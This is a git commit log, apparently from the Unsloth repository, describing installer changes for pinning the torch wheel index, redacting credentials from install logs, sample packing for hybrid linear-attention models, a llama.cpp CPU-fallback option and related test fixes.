* install: anchor the PS pinned-ROCm floor gate and bound install.ps1 custom-pin companions

Round 12 made every family CLASSIFIER exact, but the Windows install-flow floor gate reads
$_pinRocm211 directly from the raw pinned leaf with an unanchored -match '^rocm(\d+)\.(\d+)'
BEFORE any exact classification runs. A suffixed custom leaf (rocm7.2-private) matches that
rocm7.2 prefix, so it takes the 2.11-floor branch and is force-routed through the ROCm
install path before the exact-match elseif can send it to the verbatim install. Anchor the
match ($) in both install.ps1 and setup.ps1 so only an exact rocmX.Y leaf is floored; a
suffixed or newer-suffix leaf falls through to the verbatim path. The Python floor
selection is already exact (dict lookups gated on _is_pip_rocm_family_leaf), so only the two
PS scripts needed this.

install.ps1's custom (non-cu-family) pinned-torch install bounded torch>=2.4,<2.11.0 but
left torchvision/torchaudio bare, so a private mirror serving newer companions could pull a
wheel built for a newer torch ABI while the marker records the pin as applied. Bound both
companions (torchvision>=0.19,<0.26.0 / torchaudio>=2.4,<2.11.0) when the leaf is not a
cu<digits> family index (a cu index bounds its own resolution), matching setup.ps1's
Test-CudaFamilyLeaf gate and _CUSTOM_INDEX_TORCH_PKG_SPEC.

Tests: parity guards for the anchored floor gate in both PS scripts and for install.ps1's
bounded custom-pin companions.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: tighten comments in the torch-index-override paths

Collapse the verbose comment and docstring blocks added across the installer
scripts and their tests to fewer, clearer lines without changing behaviour.
Remove a duplicated CUDA-spec comment block. Comments/docstrings only; no code
changes (AST-verified).

* install: repair a broken pinned torch on Linux, strip trailing slash in tauri family, count the final step

_ensure_cuda_torch / _ensure_cpu_torch returned on a failed import probe (torch present but
unimportable). With an explicit CUDA/CPU pin, _torch_pin_needs_apply forces the dependency
pass on that same failed probe, and the base package update does not force-reinstall an
already-installed torch distribution, so the broken torch was left in place and the pass
reran every update without repairing it. Treat a failed probe under a pin as drift and
reinstall from the pinned index (the reinstall rewrites the marker and the next probe
imports, so no loop). This is the Linux counterpart of the known-family repair fix.

_tauri_torch_index_family stripped the query/fragment before classifying but not a trailing
slash, so a token-authenticated pin like .../cu128/?token=x collapsed to .../cu128/ and fell
through the exact-suffix */cu128 and */cpu arms to "auto". Strip a trailing slash too,
mirroring _torch_index_url_leaf.

The Windows / macOS-ARM final torch-repair step (_ensure_pinned_known_family_torch) runs a
progress step that base_total never counted (the final-step increment was gated to Linux),
so _STEP ran one past _TOTAL on those platforms. Add the missing increment.

Tests: broken-probe reinstall for the CUDA (family and URL pins) and CPU paths; trailing
slash / slash+token cases for _tauri_torch_index_family; a full-flow progress-count guard
asserting _STEP == _TOTAL on Windows and Linux.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: tighten comments in the torch-index-override paths

* install: harden the torch-index pin across all four installers

Redact index-URL credentials from captured install logs before they print on
failure. uv/pip failure text embeds the failing --index-url verbatim, so a
user:token@ or ?token= secret could leak into the console. Add a shared
redaction pass (_redact_install_output / Redact-InstallOutput) wired into the
error-output dump in install.sh, install.ps1, setup.ps1 and
install_python_stack.py. Verbose mode still streams live uncaptured output, so
it is intentionally left unredacted (developer opt-in).

Trim trailing slashes on the PATH only for a verbatim UNSLOTH_TORCH_INDEX_URL
override, preserving a ?query/#fragment token. A whole-URL rstrip corrupted a
base64 token ending in "/", and a single-slash strip left .../cu128//
classifying as an empty leaf. Add _trim_index_path_slashes /
Trim-IndexPathSlashes and route the override through it; strip ALL trailing
slashes in the backend-branding leaf classifier so a double slash still yields
the real leaf.

Reject a trailing-dot ROCm leaf (rocm7.) in the bash family validator so it
matches Python re.fullmatch(rocm\d+(?:\.\d+)?) and the PowerShell regex: both the
major and the minor must be non-empty digits, so rocm7. is a custom verbatim pin,
not a pip ROCm family.

Scrub PIP_NO_INDEX and PIP_INDEX_URL for a pinned install in the two installers
that have a plain-pip fallback (install_python_stack.py, setup.ps1):
PIP_NO_INDEX=1 makes the fallback ignore every index including the pinned
--index-url, and PIP_INDEX_URL replaces it. install.sh and install.ps1 install
via uv --default-index (which ignores pip config/env), so they are unaffected.

Add unit tests (bash, Python, PowerShell) and cross-platform parity tests
covering credential redaction, path-only slash trimming, the rocm7. validator,
the double-slash leaf, and the PIP_NO_INDEX/PIP_INDEX_URL scrub.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: redact captured torch-install output and warn on a failed pinned ROCm repair

Close a redaction gap the earlier pass missed: setup.ps1's direct
`Fast-Install ... | Out-String` branches (ROCm from $ROCmIndexUrl, CPU/CUDA from
$TorchInstallIndexUrl, plus the Triton and T5 sub-venv installs) printed the
captured $output verbatim on failure, bypassing Redact-InstallOutput. A private
index carrying userinfo or a ?token= in the pin could leak into Windows Studio
setup logs. Route every `Write-Host $output` through Redact-InstallOutput.

Warn on a failed pinned Windows ROCm reinstall in
_ensure_pinned_known_family_torch: the branch printed "reinstalling from it" then
called pip_install_try, but had no else, so a failure continued silently and left
the user believing the pin was applied while the old CPU/wrong torch survived.
Mirror the auto-ROCm Windows path and warn, telling the user to retry.

* install: redact captured output on the pip fallback and optional-install failure paths

The uv install path already redacted its captured output, but pip_install's pip
fallback runs through run(), which printed result.stdout verbatim on failure, and
_print_optional_install_failure did the same. A pinned --index-url carrying
userinfo or a ?token= could still leak there when uv is unavailable or the pip
fallback also fails. Route both through _redact_install_output. The verbose
pip_install_try path stays raw (developer opt-in), matching the other installers.

* install: split the survive-updates marker subsystem into a follow-up

The torch-index override PR grew a persisted per-venv marker plus repair
machinery (stale-pin detection, verbatim re-apply, update-time reinstall
triggers) that roughly doubled it. That subsystem is orthogonal to the core
feature and is being reworked in a follow-up (versioned/hashed marker,
full-URL pin baseline), so it moves there wholesale instead of shipping
twice.

What this PR still does: UNSLOTH_TORCH_INDEX_URL / UNSLOTH_TORCH_INDEX_FAMILY
pick the torch wheel index at install time in all four installers, with the
exact rocm/gfx/cpu/cu leaf classification, the torch 2.11 floor for the
per-arch AMD indexes, bounded companions for custom leaves, credential
redaction of captured installer output, path-only slash trimming, and the
uv/pip index env scrubs. Flavor-based repair keeps honoring the pin: a wrong
family under an explicit pin still reinstalls from the pinned URL, and
setup.ps1 repairs a pinned stale venv in place instead of wiping it.

What moves to the follow-up: the .unsloth-torch-index marker file and its
writers/readers/normalizers, exact-URL pin-change detection on update
(same-tag gfx switches, custom-mirror repoints), the verbatim trio snapshot
and clobber re-apply, the pin-baseline recorder, and the
--torch-pin-needs-apply fast-path probe in setup.sh / setup.ps1. Their tests
(the marker sh/ps1 suites, the stale-pin suite, and the marker classes in the
rocm/cuda/parity suites) move with them; the removed code is preserved on a
local archive branch to seed that PR.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: re-apply a ROCm pin over an existing HIP wheel via the version tag

The subsystem split left an explicit ROCm/gfx pin unenforced on `studio
update` whenever the venv already imported ANY ROCm torch: the pinned
reinstall lived inside the `elif not has_hip_torch` branch, so a rocm6.4 to
rocm7.2 switch, a gfx1151 pin over a generic +rocm7.2 wheel, or a broken
2.12+rocm7.2 drift never re-applied the pin.

Restore the markerless half of that detection: _rocm_pin_family_mismatch
compares the pinned leaf against the installed wheel tag (exact rocmX.Y
compare, the 2.11 gfx per-arch allowlist, the untagged-wheel rule), the HIP
probe emits "<hip_marker>|<version>" again so the installed tag is available,
and _ensure_rocm_torch reinstalls from the pinned URL when the tag mismatches
even though HIP torch is present. setup.ps1 mirrors it: the stale-venv check
routes a pinned rocm/gfx leaf through Get-RocmPinStaleTags instead of
collapsing it to a generic "rocm" flavor, and the existing pinned in-place
repair (no wipe) applies the change.

What still waits for the follow-up marker PR, by design: pin changes the
wheel tag cannot see -- a per-arch switch between two 2.11 gfx indexes
(identical +rocm7.13.0 tag), a custom-mirror URL repoint under the same
family leaf, and unknown-family verbatim pins. Those need the persisted
index record.

Tests restored with the code: the _rocm_pin_family_mismatch table, the five
update-path cases (older-rocm reinstall, gfx-over-pre-2.11 reinstall,
matching-pin no-reinstall, non-2.11 gfx no-reinstall, gfx-over-generic-2.11
reinstall), the "|" probe-format guards, and the AST-extracted
Get-RocmPinStaleTags suite for setup.ps1.

* install: compare major-only rocm pins, redact URL fragments, bound pinned CPU trio

Three review fixes on the restored pin-repair path.

The family classifier accepts a major-only rocm<d> leaf (rocm7), but the
mismatch comparators only parsed rocmX.Y, so a rocm7 pin fell through to the
2.11-line fallback and INVERTED both verdicts: an installed +rocm6.4 wheel
compared as satisfied (pin never re-applied) while a matching +rocm7.2 wheel
compared as stale (reinstall loop). Major-only pins now compare on the major
alone in _rocm_pin_family_mismatch and Get-RocmPinStaleTags: rocm6.x under a
rocm7 pin is a mismatch, any rocm7.x satisfies it, an untagged wheel never
does, and a bare +rocm tag with an unreadable version is accepted (matching
the existing lenient unreadable fallback).

The output redactors scrubbed userinfo and ?query= values but not #fragments,
so a pin like https://mirror/whl/cu128#token=secret leaked the secret in
captured uv/pip failure text -- inconsistent with the URL handling itself,
which already treats fragments as sensitive. All four redactors gain a
URL-anchored fragment rule (anchored so a bare "# comment" line in tool
output is never touched).

setup.ps1's CPU branch installed a bare torch/torchvision/torchaudio trio;
fine for the unpinned host default, but a PINNED cpu index routes through the
same branch and the /cpu index serves newer torch, so a fresh pinned CPU
install could land an unsupported trio that _ensure_cpu_torch then keeps
(it accepts any CPU build). Under a pin the branch now installs the bounded
trio mirroring _CPU_TORCH_PKG_SPEC (torch>=2.4,<2.12.0 and matching
companions); the unpinned path is unchanged.

Tests: major-only rows in the Python mismatch table and the AST-extracted
setup.ps1 suite; fragment + query-plus-fragment + bare-hash-comment cases in
all four redactor suites; a parity check that the pinned CPU trio bounds
exist, are gated on the pin, and mirror the Python repair spec.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: tighten comments in the torch index override paths

* tests: track the moved pass-through inheritance in the gguf order check

Main moved the llama_extra_args pass-through inheritance out of the
GGUF branch into _resolve_inherited_extra_args, which runs before it,
so the source-order assertion's "if request.llama_extra_args is None"
anchor no longer exists inside the branch and the check failed after
the main merge. The test now asserts the same property in the current
shape: inheritance before the GGUF branch (a carried --no-mmproj still
shapes the hub guard's companion requirement), and marker, hub guard,
unload in order within the branch. Full file passes (32 tests).

* tests: anchor the inheritance order check on the call, not the definition

source.index("_resolve_inherited_extra_args(") matched the function
definition, which always precedes the endpoint, so the ordering
assertion was vacuously true. Anchoring on "= _resolve_inherited_
extra_args(" pins the first call site inside the load endpoint (line
4505), which is the statement whose position relative to the GGUF
branch the test is meant to guard. 32 tests pass.

* tests: align the gguf order test with main

Main fixed the stale ordering assertion in PR 7252; adopting its
version verbatim removes this file from the branch diff entirely and
avoids a conflict on the next main merge. 32 tests pass.

* install: bound the companion constraints to torch's window everywhere

A full platform x vendor validation matrix over this branch surfaced a
real trio mismatch on the cpu/mac paths: torch is capped <2.11 (installs
2.10.0+cpu) but the bare torchaudio companion resolves 2.11.0+cpu,
because torchaudio 2.11 dropped its exact torch pin. Reproduced in a
sandboxed end to end cpu install. torchvision still exact-pins torch and
self-corrected.

The default companion constraints are now bounded to torch's window
(<0.26 / <2.11) and widen together with the cu* torch window (<0.27 /
<2.12), so every leaf resolves a paired trio. Verified with uv dry-runs
on the cpu, cu130, and rocm6.4 leaves (2.10.0/0.25.0/2.10.0,
2.11.0/0.26.0/2.11.0, 2.9.1/0.24.1/2.9.1) and a rerun of the sandboxed
cpu install, which now lands torch 2.10.0+cpu with torchaudio
2.10.0+cpu.

The Strix WSL reroute now also forwards UNSLOTH_TORCH_INDEX_URL and
UNSLOTH_TORCH_INDEX_FAMILY into the rerouted 24.04 distro; dropping
them silently reverted the child install to auto-detection, defeating
the pin this branch introduces.

test_torch_constraint.sh updated: the bounded companions must appear at
the defaults and the custom-leaf block, no bare companion may remain,
and the cu* widen must carry the companions with it.

* install: harden the override path against reroute drift and credential leaks

Review sweep focused on default-path idempotency found no defects on the
unset path; these fixes cover the override path and failure reporting.

install.sh:
- The early WSL Strix Halo distro reroute now honors an explicit index
  pin (UNSLOTH_TORCH_INDEX_URL / _FAMILY): the pin is used in the current
  distro instead of probing the GPU and re-entering another distribution,
  matching the contract of the later Radeon and Strix guards. Whitespace
  only values do not gate, in parity with get_torch_index_url.
- Verbose mode now streams installer output through the credential
  redactor; it previously bypassed the redaction the quiet path applies.
  The exit code survives the pipe via an rc file since the script runs
  under plain sh with no pipefail.
- The kept-release fallback warning now strips credentials from the
  index URL before printing it.

install.ps1:
- Bounded torchvision and torchaudio next to every capped torch install
  (custom pin, ROCm CPU fallback, CUDA flavor repair). torchaudio 2.11
  dropped its exact torch pin from the wheel metadata, so a bare
  companion beside torch<2.11 can resolve a mismatched 2.11.0 build,
  cu family indexes included. Mirrors the install.sh companion bounds.

studio/install_python_stack.py:
- The verbose failure path now redacts index URLs in pip and uv output
  before printing, matching every other output site in the file.

All sh, ps1 and python installer test suites pass (the host-defaults
suite has a known pre-existing failure unrelated to this change).

* install: redact verbose Windows installer output and repair the parity tests

Follow-ups to the override-hardening commit, from review:

- install.ps1 Invoke-InstallCommand and setup.ps1 Invoke-SetupCommand now
  pipe verbose output through Redact-InstallOutput per record, and the
  three verbose Fast-Install torch call sites (ROCm, CPU, CUDA) do the
  same: uv and pip echo the pinned index URL, credentials included, in
  their errors, and verbose mode previously bypassed the redaction the
  quiet paths apply. ForEach-Object and Out-Host leave $LASTEXITCODE
  untouched, verified with a native command exiting 7 behind the pipe.

- test_cross_platform_parity.py: the install.ps1 companion-bounds
  assertion now matches the implemented behavior (bounds on every index,
  no cu-family exemption, since torchaudio 2.11 dropped its exact torch
  pin) instead of requiring the removed $_pinCuLeaf gate.

- test_rocm_support.py: the WSL reroute guard test slices the whole
  function body to its closing brace instead of a fixed 1200-character
  window, which the new pin-gate preamble had outgrown.

428 tests pass across the parity, install stack and rocm support suites;
the sh and ps1 installer suites pass unchanged.

* install: tighten comments in the torch-index and ROCm/CUDA repair paths

* install: digit-gate the gfx family leaf and honor ROCm pins in the Windows repair

Two review follow-ups on the override path:

- The pip ROCm family predicate accepted ANY gfx-prefixed leaf, so a
  custom verbatim pin like /gfx-private classified as a ROCm family and
  enabled the ROCm-only side effects (AMD bitsandbytes, ROCm torch
  repair) on a mirror that may serve CPU/CUDA wheels. gfx now requires a
  following digit (gfx90a, gfx1151, gfx120X-all), consistently in
  install.sh, install_python_stack.py, install.ps1 (family gate and
  expected-flavor classifier) and setup.ps1, matching the strictness the
  rocm side already had (rocm7.2-private stays verbatim). The broader
  backend BRANDING globs are unchanged on purpose: radeon repo leaves
  (rocm-rel-X.Y) must still brand the rocm backend without being
  force-repaired as a family.

- The Windows branch of the ROCm torch repair always installed from the
  public per-arch index, ignoring an explicit ROCm-family pin: after a
  pinned setup.ps1 install failed to a CPU base, the repair retried
  repo.amd.com instead of the pinned index. The branch now resolves
  _explicit_rocm_torch_index_url() first, uses it as the install index
  when set, and mirrors the Linux pin contract by skipping the NVIDIA
  and gfx-detection gates a pin is documented to override.

Source-assertion tests updated to the tightened predicate and the new
repair label. 1165 tests pass across the parity, install stack and
studio install suites; the sh and ps1 suites pass; both PowerShell
installers parse clean.

* Remove scratch archives accidentally committed with the comment pass

The temp/ archive copies of installer and test files were working
scratch, not PR content, and inflated the diff by about nine thousand
lines.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-20 00:58:52 -07:00
Daniel Han
07272b9278
Experimental: correct varlen sample packing for hybrid linear-attention models (#7249)
* Fix text-only VLM CPT packing truncation

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Handle streaming vision datasets in packing

* Harden multimodal packing detection

* Preserve safe packing boundaries

* Scope stream packing checks to VLMs

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Narrow VLM packing detection

* Align packing mode and eval safety

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Add qwen3_5/qwen3_next to PADDING_FREE_BLOCKLIST to avoid packed-sequence contamination

* Detect hybrid linear-attention models structurally instead of by name for packing guard

* Add experimental varlen packing for hybrid linear-attention models

Feed seq_idx to the causal conv and cu_seqlens to the gated-delta scan so
sample packing / padding-free reset state at sequence boundaries for hybrid
linear-attention models (Qwen3.5, Qwen3-Next). Gated behind
UNSLOTH_EXPERIMENTAL_HYBRID_PACKING and fail-closed: when the flag is off or
the accelerated kernels (causal_conv1d + fla) are unavailable, the guard keeps
these models on the padded path.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Harden hybrid linear-attention varlen packing shim

Make patch_hybrid_linear_attention_varlen robust across transformers 4.57.6
through 5.x and TRL 0.22.2 through 1.x, following the import_fixes.py style:

- Read UNSLOTH_EXPERIMENTAL_HYBRID_PACKING at call time so the flag takes effect
  when set after importing unsloth.
- Idempotent: repeat calls on a patched model return True without re-validating
  the wrappers or double-wrapping; signatures are checked on captured originals.
- Prefer the authoritative packed_seq_lengths (via get_packed_info_from_kwargs)
  over position_ids resets, handling pad_to_multiple_of trailing tokens.
- Suppress injection for cached forwards (use_cache / past_key_values) so
  generation and eval are left on the untouched decode path.
- Validate every gated-delta module before mutating any (transactional).
- Bind position_ids / use_cache from both positional and keyword args.
- Verify dispatch at runtime (Unsloth wraps each module forward, so the mixer
  source is not statically inspectable) and warn once if the shim is never hit.
- Emit one deduped diagnostic on each fail-closed path.

Add CPU unit tests covering the hybrid guard detection, the boundary builders,
and the shim (fail-closed, active, idempotent, cached no-op, runtime handshake).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Abort hybrid packing when the varlen shim is not fully dispatched

The runtime handshake used a single per-module hit flag written by both the conv
and scan wrappers, so a partial dispatch (only one kernel routed through
self.<kernel>) passed the any() check and trained on contaminated data, and a
missing dispatch only logged a warning. Track conv and scan dispatch separately,
require both on every gated-delta module on the first packed forward, and raise
before loss/backward when either is missing (the batch is already flattened, so
there is no padded recovery at that point). Also skip an empty packed_seq_lengths
before it reaches max(), and document the position_ids fallback's left-pad
assumption.

Add tests for no-dispatch and partial (conv-only / scan-only) abort, the
packed_seq_lengths preference over a competing position_ids, MRoPE 3D position
ids, and the pad_to_multiple_of trailing-segment path through the metadata builder.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Import the hybrid packing patch from its submodule to satisfy the import-hoist lint

* Fail closed for hybrid packing on encoder-decoder, chunked-loss, and string-name models

The varlen shim only helps decoder-only hybrid models that run their mixer
through self.<kernel> on a live nn.Module forward. Three cases slipped past
the guard:

- Encoder-decoder configs (is_encoder_decoder) reached the packing path even
  though flattening a cross-attention batch is unsound. Block them explicitly.
- TRL's chunked_nll loss (the 1.x default) calls the backbone directly and
  bypasses model.forward, so the per-instance forward wrapper that refreshes
  the varlen stash never runs. Detect that path and keep the model padded.
- A string model_name reaches the trainer before the module exists, so the
  instance shim has nothing to patch. Resolve the config up front and keep
  string hybrids on the padded path.

Adds encoder-decoder / decoder-only / chunked-loss / string-model tests.

* Harden the SFT source-injection replacements and forward auth args for string models

The wrapped-packing injection rewrote the sourced unsloth_zoo sft_prepare_dataset
with str.replace anchored on the exact 'All Unsloth Zoo code licensed under
LGPLv3' comment. str.replace never raises on a missing anchor, so a supported
newer unsloth_zoo (the dependency is only lower-bounded) that moved that header
would silently drop the setup while the truncation and pack_dataset edits still
referenced _unsloth_wrapped_packing / _inspect, raising NameError on every SFT
dataset preparation.

- Install the setup at the sft_prepare_dataset signature via re.subn (a structural
  anchor that always exists) and raise if even that is missing.
- Route the remaining edits through a _require_replace helper that fails loudly on a
  missing required anchor (or warns once for an optional one), formalizing the
  verify-then-replace idiom the DPO patchers in this file already use.
- Reuse the guarded _unsloth_pack_has_strategy at the pack_dataset call instead of
  re-calling inspect.signature(pack_dataset) unguarded, so a non-introspectable
  pack_dataset cannot crash there after the setup already handled it.
- _resolve_string_model_config now forwards token / use_auth_token / cache_dir /
  code_revision, so a private hybrid resolves its config instead of falling through
  as non-hybrid and enabling packing without the varlen shim.

Adds regression tests for the drift-resistant injection, the helper, and the
string-model auth forwarding.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Honor top-level SFTConfig.trust_remote_code when resolving a string model

TRL merges the top-level args.trust_remote_code into the load via
model_init_kwargs.setdefault("trust_remote_code", args.trust_remote_code) before
create_model_from_path, so a remote-code hybrid is commonly set with
SFTConfig(trust_remote_code=True) rather than inside model_init_kwargs. The config
probe only read model_init_kwargs, so AutoConfig could fail for such a model, leave
model_config None, and let the guard treat it as non-hybrid, enabling packing
without the varlen shim. Mirror TRL's setdefault (model_init_kwargs wins).

* Tighten hybrid-packing comments for concision

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: alkinun <alkinunl@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Etherl <61019402+Etherll@users.noreply.github.com>
2026-07-20 00:57:02 -07:00
Naitik Pal
cf912cbd88
feat(studio): add UNSLOTH_LLAMA_CPP_BACKEND env var to force CPU fallback #7213 (#7228)
* test(studio): add e2e test for cpu-fallback overriding vulkan

* feat(studio): add UNSLOTH_LLAMA_CPP_BACKEND env var

* feat(studio): add UNSLOTH_LLAMA_CPP_BACKEND env var

* Preserve UNSLOTH_LLAMA_CPP_BACKEND=cpu across llama.cpp updates for PR #7228

The in-app updater rebuilt the installer command without --cpu-fallback and
only re-asserted Vulkan, so accepting a llama.cpp update after forcing CPU on
an Intel iGPU host re-ran host detection and routed back to the crashing Vulkan
bundle (#7213). Record install_kind in the prebuilt marker and re-assert
--cpu-fallback on update when the installed bundle is CPU.

Also make setup.sh's UNSLOTH_LLAMA_CPP_BACKEND check case-insensitive to match
setup.ps1, and add tests for the updater CPU preservation and the setup.sh flag
plumbing.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trim and validate UNSLOTH_LLAMA_CPP_BACKEND, warn on unknown values for PR #7228

Trim surrounding whitespace and lowercase the value in both setup.sh and
setup.ps1, so values like ' cpu ' or 'CPU' still force the CPU-only prebuilt.
An unrecognized value (e.g. 'gpu') now prints a warning instead of silently
falling back to auto. Extend test_setup_llama_cpp_backend.py to cover both
scripts, including trimmed, empty and unknown values.

* Preserve arm64 CPU installs on update and honor CPU override in Windows prune for PR #7228

The update-path CPU preservation only matched install_kind ending in -cpu, so
arm64 CPU bundles (linux-arm64, windows-arm64) were re-routed to a GPU or source
build on update. Match the full set of CPU-only kinds instead.

Persisting install_kind also activated the previously inert Windows
mismatch-prune in setup.ps1: on a GPU host with UNSLOTH_LLAMA_CPP_BACKEND=cpu it
saw the windows-cpu marker as mismatched and deleted it every rerun. Normalize
the override once and make CPU expected so a deliberate CPU install is kept.
Extend the tests to cover both.

* Document legacy llama.cpp markers keep heal-to-GPU on update for PR #7228

Legacy prebuilt markers written before install_kind was persisted intentionally
do not force --cpu-fallback on update: the in-app updater lets them re-resolve
(heal to a GPU bundle) per the existing behavior from #6097, and only markers
that explicitly record a CPU install_kind are pinned to CPU. Add a comment and a
regression case documenting the boundary.

* Tighten llama.cpp CPU-fallback comments for PR #7228

* Fix Windows install-prune to keep valid Intel/fallback bundles for PR #7228

Persisting install_kind activated the setup.ps1 mismatch-prune, whose
expectedKinds was incomplete: the non-NVIDIA/non-AMD branch omitted
windows-vulkan (the Intel auto-route) and the GPU branches omitted the
windows-cpu/windows-arm64 fallback the installer uses when a GPU prebuilt is
missing. That made every setup rerun delete and re-download a valid Intel Vulkan
(or CPU-fallback) install. List all kinds the installer can produce per host so
only a bundle the host cannot run is pruned. Cover the full matrix in tests.

* Persist force_cpu marker flag so only forced CPU installs re-assert on update for PR #7228

* Add --force-cpu for deliberate CPU installs and warn on macOS for PR #7228

* Record force_cpu when reusing a matching CPU bundle for PR #7228

* Accept force_cpu keyword in installer test validator fakes for PR #7228

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-20 00:33:56 -07:00
alkinun
9e334d552c
Fix text-only VLM CPT packing truncation (#7211)
* Fix text-only VLM CPT packing truncation

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Handle streaming vision datasets in packing

* Harden multimodal packing detection

* Preserve safe packing boundaries

* Scope stream packing checks to VLMs

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Narrow VLM packing detection

* Align packing mode and eval safety

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Add qwen3_5/qwen3_next to PADDING_FREE_BLOCKLIST to avoid packed-sequence contamination

* Detect hybrid linear-attention models structurally instead of by name for packing guard

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Install wrapped-packing setup at the signature, not the Zoo license comment

The _unsloth_wrapped_packing / _inspect setup block was injected by matching the
exact 'All Unsloth Zoo code licensed under LGPLv3' comment line in the sourced
sft_prepare_dataset. The unsloth_zoo dependency is only lower-bounded, so a newer
Zoo that moves or drops that header made the setup a silent no-op while the
truncation and pack_dataset rewrites still emitted references to those names,
raising NameError on every SFT dataset preparation.

Anchor the setup on the function signature instead (a structural location that
always exists) and fail loudly if it cannot be found, so the helper variables are
always defined before they are referenced across Zoo versions.

Adds a regression test that patches in a Zoo source without the license header.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Etherl <61019402+Etherll@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-20 00:23:37 -07:00
Nilay
95d9970233
persist llama.cpp KV cache across idle auto-unload (slot save/restore) (#7204)
* Studio: persist llama.cpp KV cache across idle auto-unload (slot save/restore)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: address KV persistence review feedback

* Studio: guard KV restore on launch config

* Studio: fix KV resume purge race, fingerprint requested ctx, purge on disable

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: re-check idle/keep-KV settings after slot save, ns file identity

* Studio: shard-aware KV guard, honor user --no-cache-prompt, early save cap

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: honor LLAMA_ARG_CACHE_PROMPT env in slot-save guard

* Studio: derive prompt-cache state from final argv for slot saves

* Studio: stat LoRA/control-vector sidecars in KV restore fingerprint

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: parse csv and FNAME:SCALE sidecar syntax in KV fingerprint

* Studio: address codex review on idle-unload KV resume

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: harden slot-save cleanup, cap accounting, stale-KV guard, save timeout

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: treat unavailable KV estimate as full-cap for slot-save disk check

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-20 00:12:42 -07:00
Lee Jackson
39497e6516
Translate PWD for WSL-launched Windows agents (#7111)
Bridge PWD through WSLENV /p when launching a Windows npm shim from WSL so project-root discovery uses the live cwd. The no-launch recipe adds PWD/p without freezing PWD; the concrete cwd override applies only on direct launch.
2026-07-19 21:05:22 -07:00
Lee Jackson
e0132b6d6c
Pin the Hermes remote installer and harden consent (#7179)
Pin the fetched Hermes install.sh/install.ps1 and the checkout they perform to an immutable upstream commit, and distinguish pinned from unpinned sources in the consent warning.
2026-07-19 21:04:28 -07:00
Lee Jackson
8fab1c5310
Route OpenCode yolo aliases to native auto mode (#7187)
Route --yolo to OpenCode native --auto for the default TUI and run; keep the config permission fallback for no-auto subcommands (including hidden console/generate) and for --mini, which ignores --auto.
2026-07-19 21:03:50 -07:00
Daniel Han
17fd6c8ec6
studio: fix stale GGUF load-marker ordering test after inheritance relocation (#7252)
#6414 moved the llama_extra_args inheritance out of the GGUF branch in
_load_model_impl into _guard_chat_load_against_training, which runs before the
branch, so 'if request.llama_extra_args is None' is no longer inside the
gguf_branch slice that test_load_marker_precedes_hub_guard_and_unload checks.
The assertion failed on that now-missing landmark even though the guarantee it
protects (the gguf_load_in_flight marker is entered before the hub-download
guard and the unload) is intact. Drop the relocated landmark from the ordering
so the test matches the current structure.

Co-authored-by: danielhanchen <unslothshared@gmail.com>
2026-07-19 17:19:15 -07:00
Daniel Han
b3c0259cff
Installer: preserve the previous torch release across every flavor and vendor on re-runs (#7250)
* install: preserve the previous torch release across every flavor and vendor

A re-run of curl | sh over an existing install was supposed to keep the
user's validated torch release, but the pin required the old build's
local flavor tag to match the freshly chosen index leaf. That gate was
wrong in practice: a PyPI-sourced torch reports a BARE version (on Linux
the PyPI wheel IS a CUDA build), which classified as cpu and never
matched a cu leaf, so a healthy 2.10 on a cu130 host was silently moved
to 2.11 (reproduced end to end); the same happened for any flavor drift
such as cu128 to cu130 after a driver upgrade, and AMD ROCm leaves were
excluded from preservation entirely.

The rule is now release-based and flavor-agnostic: the probed previous
release is pinned whenever it sits inside the final constraint window,
and the pin installs from the freshly chosen index, so the flavor always
